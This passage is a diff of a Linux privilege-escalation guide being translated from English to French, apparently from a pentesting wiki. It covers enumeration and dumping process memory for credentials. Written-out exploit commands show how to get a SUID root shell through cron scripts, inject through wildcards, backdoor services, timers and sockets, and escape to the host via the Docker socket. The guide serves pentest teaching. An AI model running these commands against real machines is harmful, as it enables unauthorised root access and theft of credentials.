vulnérabilités de débordement de tampon et d'autres types d'attaques similaires. En activant Execshield, vous pouvez renforcer la sécurité de votre système et réduire les risques de compromission. ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` - ### SElinux +SElinux (Security-Enhanced Linux) est un module de sécurité du noyau Linux qui fournit un contrôle d'accès obligatoire (MAC) pour les ressources du système. Il est conçu pour renforcer la sécurité du système en limitant les actions que les utilisateurs et les processus peuvent effectuer. SElinux utilise des politiques de sécurité pour déterminer les autorisations d'accès pour les ressources du système, telles que les fichiers, les répertoires et les ports réseau. Les politiques de sécurité sont définies dans des fichiers de configuration et peuvent être personnalisées pour répondre aux besoins spécifiques d'un système. SElinux est souvent utilisé dans les environnements de serveur pour renforcer la sécurité du système et réduire les risques de violation de sécurité. ```bash (sestatus 2>/dev/null || echo "Not found sestatus") ``` - ### ASLR +ASLR (Address Space Layout Randomization) est une technique de sécurité qui consiste à aléatoirement disposer les zones de mémoire où sont chargées les bibliothèques, les piles et les segments de code. Cette technique rend plus difficile l'exploitation de vulnérabilités de type dépassement de tampon, car l'attaquant ne peut pas prédire où se trouve le code ou les données dans la mémoire. Cependant, ASLR n'est pas une solution parfaite et peut être contourné dans certaines circonstances. ```bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled ``` +## Évasion de Docker -## Docker Breakout - -If you are inside a docker container you can try to escape from it: +Si vous êtes à l'intérieur d'un conteneur Docker, vous pouvez essayer de vous échapper : {% content-ref url="docker-security/" %} [docker-security](docker-security/) {% endcontent-ref %} -## Drives - -Check **what is mounted and unmounted**, where and why. If anything is unmounted you could try to mount it and check for private info +## Disques +Vérifiez **ce qui est monté et démonté**, où et pourquoi. Si quelque chose est démonté, vous pouvez essayer de le monter et de vérifier les informations privées. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` +## Logiciels utiles -## Useful software - -Enumerate useful binaries - +Énumérez les binaires utiles ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` - -Also, check if **any compiler is installed**. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar) - +Assurez-vous également que **tout compilateur est installé**. Cela est utile si vous devez utiliser une exploitation de noyau car il est recommandé de la compiler sur la machine où vous allez l'utiliser (ou sur une machine similaire). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` +### Logiciels Vulnérables Installés -### Vulnerable Software Installed - -Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\ -It is recommended to check manually the version of the more suspicious installed software. - +Vérifiez la **version des packages et services installés**. Il se peut qu'il y ait une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour l'escalade des privilèges...\ +Il est recommandé de vérifier manuellement la version des logiciels installés les plus suspects. ```bash dpkg -l #Debian rpm -qa #Centos ``` - -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +Si vous avez accès SSH à la machine, vous pouvez également utiliser **openVAS** pour vérifier si des logiciels obsolètes et vulnérables sont installés sur la machine. {% hint style="info" %} -_Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some applications like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits_ +Notez que ces commandes afficheront beaucoup d'informations qui seront principalement inutiles, il est donc recommandé d'utiliser des applications telles que OpenVAS ou similaires qui vérifieront si une version de logiciel installée est vulnérable à des exploits connus. {% endhint %} -## Processes - -Take a look at **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?) +## Processus +Jetez un coup d'œil aux **processus en cours d'exécution** et vérifiez si un processus a **plus de privilèges qu'il ne devrait en avoir** (peut-être un tomcat exécuté par root ?) ```bash ps aux ps -ef top -n 1 ``` +Vérifiez toujours s'il y a des [**débogueurs electron/cef/chromium**] en cours d'exécution, vous pouvez les utiliser pour escalader les privilèges. **Linpeas** les détecte en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\ +Vérifiez également vos privilèges sur les binaires des processus, peut-être pouvez-vous en écraser un. -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +### Surveillance des processus -### Process monitoring +Vous pouvez utiliser des outils tels que [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut être très utile pour identifier les processus vulnérables qui sont exécutés fréquemment ou lorsque certains critères sont remplis. -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +### Mémoire des processus -### Process memory - -Some services of a server save **credentials in clear text inside the memory**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ -However, remember that **as a regular user you can read the memory of the processes you own**. +Certains services d'un serveur enregistrent des **informations d'identification en clair dans la mémoire**.\ +Normalement, vous aurez besoin de **privilèges root** pour lire la mémoire des processus appartenant à d'autres utilisateurs, donc cela est généralement plus utile lorsque vous êtes déjà root et que vous voulez découvrir plus d'informations d'identification.\ +Cependant, rappelez-vous que **en tant qu'utilisateur régulier, vous pouvez lire la mémoire des processus que vous possédez**. {% hint style="warning" %} -Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +Notez qu'aujourd'hui, la plupart des machines **n'autorisent pas ptrace par défaut**, ce qui signifie que vous ne pouvez pas extraire les informations des processus appartenant à votre utilisateur non privilégié. -The file _**/proc/sys/kernel/yama/ptrace\_scope**_ controls the accessibility of ptrace: +Le fichier _**/proc/sys/kernel/yama/ptrace\_scope**_ contrôle l'accessibilité de ptrace : -* **kernel.yama.ptrace\_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -* **kernel.yama.ptrace\_scope = 1**: only a parent process can be debugged. -* **kernel.yama.ptrace\_scope = 2**: Only admin can use ptrace, as it required CAP\_SYS\_PTRACE capability. -* **kernel.yama.ptrace\_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +* **kernel.yama.ptrace\_scope = 0** : tous les processus peuvent être débogués, tant qu'ils ont le même uid. C'est la façon classique dont ptrace fonctionnait. +* **kernel.yama.ptrace\_scope = 1** : seul un processus parent peut être débogué. +* **kernel.yama.ptrace\_scope = 2** : Seuls les administrateurs peuvent utiliser ptrace, car cela nécessite la capacité CAP\_SYS\_PTRACE. +* **kernel.yama.ptrace\_scope = 3** : Aucun processus ne peut être tracé avec ptrace. Une fois défini, un redémarrage est nécessaire pour réactiver ptrace. {% endhint %} #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. - +Si vous avez accès à la mémoire d'un service FTP (par exemple), vous pouvez obtenir le tas et rechercher à l'intérieur les informations d'identification. ```bash gdb -p (gdb) info proc mappings @@ -260,8 +225,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` - -#### GDB Script +#### Script GDB {% code title="dump-memory.sh" %} ```bash @@ -278,8 +242,7 @@ done #### /proc/$pid/maps & /proc/$pid/mem -For a given process ID, \*\*maps show how memory is mapped within that process's \*\*virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file. - +Pour un ID de processus donné, **maps montre comment la mémoire est mappée dans l'espace d'adressage virtuel de ce processus**; il montre également les **permissions de chaque région mappée**. Le fichier pseudo **mem expose la mémoire des processus eux-mêmes**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et déverser toutes les régions lisibles** dans un fichier. ```bash procdump() ( @@ -292,20 +255,16 @@ procdump() rm $1*.bin ) ``` - #### /dev/mem -`/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernel's virtual address space can be accessed using /dev/kmem.\ -Typically, `/dev/mem` is only readable by **root** and **kmem** group. - +`/dev/mem` fournit un accès à la **mémoire physique** du système, pas à la mémoire virtuelle. L'espace d'adressage virtuel du noyau peut être accédé en utilisant `/dev/kmem`.\ +En général, `/dev/mem` est seulement lisible par l'utilisateur **root** et le groupe **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` +### ProcDump pour Linux -### ProcDump for linux - -ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) - +ProcDump est une réinterprétation pour Linux de l'outil classique ProcDump de la suite d'outils Sysinternals pour Windows. Vous pouvez le trouver sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -332,48 +291,42 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` +### Outils -### Tools - -To dump a process memory you could use: +Pour extraire la mémoire d'un processus, vous pouvez utiliser : * [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_You can manually remove root requirements and dump the process owned by you -* Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) +* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez supprimer manuellement les exigences de root et extraire le processus détenu par vous +* Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root est requis) -### Credentials from Process Memory +### Identifiants extraits de la mémoire du processus -#### Manual example - -If you find that the authenticator process is running: +#### Exemple manuel +Si vous trouvez que le processus d'authentification est en cours d'exécution : ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` - -You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory: - +Vous pouvez déverser le processus (voir les sections précédentes pour trouver différentes façons de déverser la mémoire d'un processus) et rechercher des informations d'identification à l'intérieur de la mémoire : ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` - #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly. +L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler les identifiants en clair de la mémoire** et de certains **fichiers bien connus**. Il nécessite des privilèges root pour fonctionner correctement. -| Feature | Process Name | -| ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Fonctionnalité | Nom du processus | +| ------------------------------------------------- | ---------------------| +| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | - -#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +| VSFTPd (Connexions FTP actives) | vsftpd | +| Apache2 (Sessions HTTP Basic Auth actives) | apache2 | +| OpenSSH (Sessions SSH actives - Utilisation de Sudo)| sshd: | +#### Rechercher des expressions régulières/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -387,186 +340,158 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` +## Tâches planifiées/Cron -## Scheduled/Cron jobs - -Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). - +Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous profiter d'un script exécuté par root (vulnérabilité de caractère générique ? pouvez-vous modifier les fichiers que root utilise ? utiliser des liens symboliques ? créer des fichiers spécifiques dans le répertoire que root utilise ?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` +### Chemin de Cron -### Cron path +Par exemple, à l'intérieur de _/etc/crontab_, vous pouvez trouver le chemin : _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ - -(_Note how the user "user" has writing privileges over /home/user_) - -If inside this crontab the root user tries to execute some command or script without setting the path. For example: _\* \* \* \* root overwrite.sh_\ -Then, you can get a root shell by using: +(_Remarquez comment l'utilisateur "user" a des privilèges d'écriture sur /home/user_) +Si à l'intérieur de cette crontab, l'utilisateur root essaie d'exécuter une commande ou un script sans définir le chemin. Par exemple : _\* \* \* \* root overwrite.sh_\ +Alors, vous pouvez obtenir un shell root en utilisant : ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` +### Cron utilisant un script avec un caractère générique (Injection de caractère générique) -### Cron using a script with a wildcard (Wildcard Injection) - -If a script is executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example: - +Si un script est exécuté par root et contient un "**\***" dans une commande, vous pouvez exploiter cela pour faire des choses inattendues (comme une élévation de privilèges). Exemple : ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` +**Si l'astérisque est précédé d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).** -**If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable (even** _**./\***_ **is not).** - -Read the following page for more wildcard exploitation tricks: +Consultez la page suivante pour plus de techniques d'exploitation d'astérisques : {% content-ref url="wildcards-spare-tricks.md" %} [wildcards-spare-tricks.md](wildcards-spare-tricks.md) {% endcontent-ref %} -### Cron script overwriting and symlink - -If you **can modify a cron script** executed by root, you can get a shell very easily: +### Écrasement de script Cron et lien symbolique +Si vous **pouvez modifier un script Cron** exécuté par root, vous pouvez obtenir un shell très facilement : ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed /tmp/bash -p ``` - -If the script executed by root uses a **directory where you have full access**, maybe it could be useful to delete that folder and **create a symlink folder to another one** serving a script controlled by you - +Si le script exécuté par root utilise un **répertoire où vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et de **créer un lien symbolique vers un autre dossier** servant un script contrôlé par vous. ```bash ln -d -s
``` +### Tâches cron fréquentes -### Frequent cron jobs - -You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges. - -For example, to **monitor every 0.1s during 1 minute**, **sort by less executed commands** and delete the commands that have been executed the most, you can do: +Vous pouvez surveiller les processus pour rechercher ceux qui sont exécutés toutes les 1, 2 ou 5 minutes. Peut-être pouvez-vous en profiter pour escalader les privilèges. +Par exemple, pour **surveiller toutes les 0,1s pendant 1 minute**, **trier par les commandes les moins exécutées** et supprimer les commandes qui ont été le plus exécutées, vous pouvez faire: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` +**Vous pouvez également utiliser** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (cela permettra de surveiller et de répertorier chaque processus qui démarre). -**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts). - -### Invisible cron jobs - -It's possible to create a cronjob **putting a carriage return after a comment** (without newline character), and the cron job will work. Example (note the carriage return char): +### Tâches cron invisibles +Il est possible de créer une tâche cron **en mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et la tâche cron fonctionnera. Exemple (notez le caractère de retour chariot) : ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` - ## Services -### Writable _.service_ files +### Fichiers _.service_ modifiables -Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ -For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`** +Vérifiez si vous pouvez écrire dans un fichier `.service`. Si c'est le cas, vous **pouvez le modifier** pour qu'il **exécute** votre **porte dérobée** lorsque le service est **démarré**, **redémarré** ou **arrêté** (peut-être devrez-vous attendre que la machine soit redémarrée).\ +Par exemple, créez votre porte dérobée à l'intérieur du fichier .service avec **`ExecStart=/tmp/script.sh`** -### Writable service binaries +### Binaires de service modifiables -Keep in mind that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. +Gardez à l'esprit que si vous avez des **permissions d'écriture sur les binaires exécutés par les services**, vous pouvez les remplacer par des portes dérobées afin que lorsque les services sont ré-exécutés, les portes dérobées soient exécutées. -### systemd PATH - Relative Paths - -You can see the PATH used by **systemd** with: +### systemd PATH - Chemins relatifs +Vous pouvez voir le PATH utilisé par **systemd** avec: ```bash systemctl show-environment ``` - -If you find that you can **write** in any of the folders of the path you may be able to **escalate privileges**. You need to search for **relative paths being used on service configurations** files like: - +Si vous constatez que vous pouvez **écrire** dans l'un des dossiers du chemin, vous pourriez être en mesure de **escalader les privilèges**. Vous devez rechercher des **chemins relatifs utilisés dans les fichiers de configuration de service** tels que: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` +Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin relatif** à l'intérieur du dossier PATH de systemd que vous pouvez écrire, et lorsque le service est invité à exécuter l'action vulnérable (**Start**, **Stop**, **Reload**), votre **porte dérobée sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter les services, mais vérifiez si vous pouvez utiliser `sudo -l`). -Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`). - -**Learn more about services with `man systemd.service`.** +**En savoir plus sur les services avec `man systemd.service`.** ## **Timers** -**Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously. - -You can enumerate all the timers with: +Les **timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers ou événements `**.service**`. Les **timers** peuvent être utilisés comme alternative à cron car ils ont une prise en charge intégrée des événements de temps calendrier et des événements de temps monotone et peuvent être exécutés de manière asynchrone. +Vous pouvez énumérer tous les timers avec: ```bash systemctl list-timers --all ``` +### Timers modifiables -### Writable timers - -If you can modify a timer you can make it execute some existents of systemd.unit (like a `.service` or a `.target`) - +Si vous pouvez modifier un timer, vous pouvez le faire exécuter certains existants de systemd.unit (comme un `.service` ou un `.target`) ```bash Unit=backdoor.service ``` +Dans la documentation, vous pouvez lire ce qu'est une unité : -In the documentation you can read what the Unit is: +> L'unité à activer lorsque ce minuteur s'écoule. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si ce n'est pas spécifié, cette valeur est par défaut un service qui a le même nom que l'unité de minuterie, à l'exception du suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité activée et le nom de l'unité de minuterie soient nommés de manière identique, à l'exception du suffixe. -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +Par conséquent, pour abuser de cette autorisation, vous devriez : -Therefore, to abuse this permission you would need to: +* Trouver une unité systemd (comme un `.service`) qui **exécute un binaire inscriptible** +* Trouver une unité systemd qui **exécute un chemin relatif** et vous avez des privilèges d'écriture sur le **PATH systemd** (pour vous faire passer pour cet exécutable) -* Find some systemd unit (like a `.service`) that is **executing a writable binary** -* Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable) +**En savoir plus sur les minuteries avec `man systemd.timer`.** -**Learn more about timers with `man systemd.timer`.** - -### **Enabling Timer** - -To enable a timer you need root privileges and to execute: +### **Activation de la minuterie** +Pour activer une minuterie, vous avez besoin de privilèges root et d'exécuter : ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` - -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +Notez que le **timer** est **activé** en créant un lien symbolique vers celui-ci sur `/etc/systemd/system/.wants/.timer` ## Sockets -In brief, a Unix Socket (technically, the correct name is Unix Domain Socket, **UDS**) allows **communication between two different processes** on either the same machine or different machines in client-server application frameworks. To be more precise, it’s a way of communicating among computers using a standard Unix descriptors file. (From [here](https://www.linux.com/news/what-socket/)). +En bref, un Unix Socket (techniquement, le nom correct est Unix Domain Socket, **UDS**) permet la **communication entre deux processus différents** sur la même machine ou sur des machines différentes dans des frameworks d'application client-serveur. Pour être plus précis, c'est une façon de communiquer entre des ordinateurs en utilisant un fichier de descripteurs Unix standard. (De [ici](https://www.linux.com/news/what-socket/)). -Sockets can be configured using `.socket` files. +Les sockets peuvent être configurés en utilisant des fichiers `.socket`. -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +**En savoir plus sur les sockets avec `man systemd.socket`.** À l'intérieur de ce fichier, plusieurs paramètres intéressants peuvent être configurés : -* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF\_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -* `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -* `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -* `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -* `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ces options sont différentes mais un résumé est utilisé pour **indiquer où il va écouter** le socket (le chemin du fichier de socket AF\_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.) +* `Accept`: Prend un argument booléen. Si **true**, une **instance de service est lancée pour chaque connexion entrante** et seul le socket de connexion est transmis. Si **false**, tous les sockets d'écoute eux-mêmes sont **transmis à l'unité de service démarrée**, et une seule unité de service est lancée pour toutes les connexions. Cette valeur est ignorée pour les sockets de datagramme et les FIFO où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut à false**. Pour des raisons de performance, il est recommandé d'écrire de nouveaux démons de manière à ce qu'ils soient adaptés à `Accept=no`. +* `ExecStartPre`, `ExecStartPost`: Prend une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** les **sockets**/FIFOs d'écoute sont **créés** et liés, respectivement. Le premier jeton de la ligne de commande doit être un nom de fichier absolu, suivi d'arguments pour le processus. +* `ExecStopPre`, `ExecStopPost`: Des **commandes** supplémentaires qui sont **exécutées avant** ou **après** les **sockets**/FIFOs d'écoute sont **fermés** et supprimés, respectivement. +* `Service`: Spécifie le nom de l'**unité de service à activer** sur le **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Par défaut, il est défini sur le service qui porte le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. -### Writable .socket files +### Fichiers .socket modifiables -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +Si vous trouvez un fichier `.socket` **modifiable**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et la porte dérobée sera exécutée avant que le socket ne soit créé. Par conséquent, vous devrez **probablement attendre que la machine soit redémarrée.**\ +Notez que le système doit utiliser cette configuration de fichier de socket ou la porte dérobée ne sera pas exécutée. -### Writable sockets +### Sockets modifiables -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. - -### Enumerate Unix Sockets +Si vous **identifiez un socket modifiable** (_maintenant, nous parlons de Unix Sockets et non de fichiers de configuration `.socket`_), alors **vous pouvez communiquer** avec ce socket et peut-être exploiter une vulnérabilité. +### Énumérer les Unix Sockets ```bash netstat -a -p --unix ``` - -### Raw connection - +### Connexion brute ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -575,40 +500,34 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` - -**Exploitation example:** +**Exemple d'exploitation :** {% content-ref url="socket-command-injection.md" %} [socket-command-injection.md](socket-command-injection.md) {% endcontent-ref %} -### HTTP sockets - -Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). You can check this with: +### Sockets HTTP +Notez qu'il peut y avoir des **sockets en écoute pour les requêtes HTTP** (_Je ne parle pas des fichiers .socket mais des fichiers agissant comme des sockets Unix_). Vous pouvez vérifier cela avec : ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` +Si le socket **répond avec une requête HTTP**, alors vous pouvez **communiquer** avec lui et peut-être **exploiter une vulnérabilité**. -If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. - -### Writable Docker Socket - -The **docker socke**t is typically located at `/var/run/docker.sock` and is only writable by the `root` user and `docker` group.\ -If for some reason **you have write permissions** over that socket you can escalate privileges.\ -The following commands can be used to escalate privileges: +### Socket Docker inscriptible +Le **socket docker** est généralement situé à `/var/run/docker.sock` et n'est inscriptible que par l'utilisateur `root` et le groupe `docker`.\ +Si pour une raison quelconque **vous avez des permissions d'écriture** sur ce socket, vous pouvez escalader les privilèges.\ +Les commandes suivantes peuvent être utilisées pour escalader les privilèges : ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` +#### Utiliser l'API web de Docker depuis le socket sans le package Docker -#### Use docker web API from socket without docker package - -If you have access to **docker socket** but you can't use the docker binary (maybe it isn't even installed), you can use the web API directly with `curl`. - -The following commands are an example of how to **create a docker container that mounts the root** of the host system and use `socat` to execute commands into the new docker. +Si vous avez accès au **socket Docker** mais que vous ne pouvez pas utiliser le binaire Docker (peut-être n'est-il même pas installé), vous pouvez utiliser l'API web directement avec `curl`. +Les commandes suivantes sont un exemple de la façon de **créer un conteneur Docker qui monte la racine** du système hôte et utilise `socat` pour exécuter des commandes dans le nouveau conteneur Docker. ```bash # List docker images curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json @@ -618,9 +537,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so #{"Id":"","Warnings":[]} curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` - -The last step is to use `socat` to initiate a connection to the container, sending an "attach" request - +La dernière étape consiste à utiliser `socat` pour initier une connexion au conteneur, en envoyant une demande "attach". ```bash socat - UNIX-CONNECT:/var/run/docker.sock POST 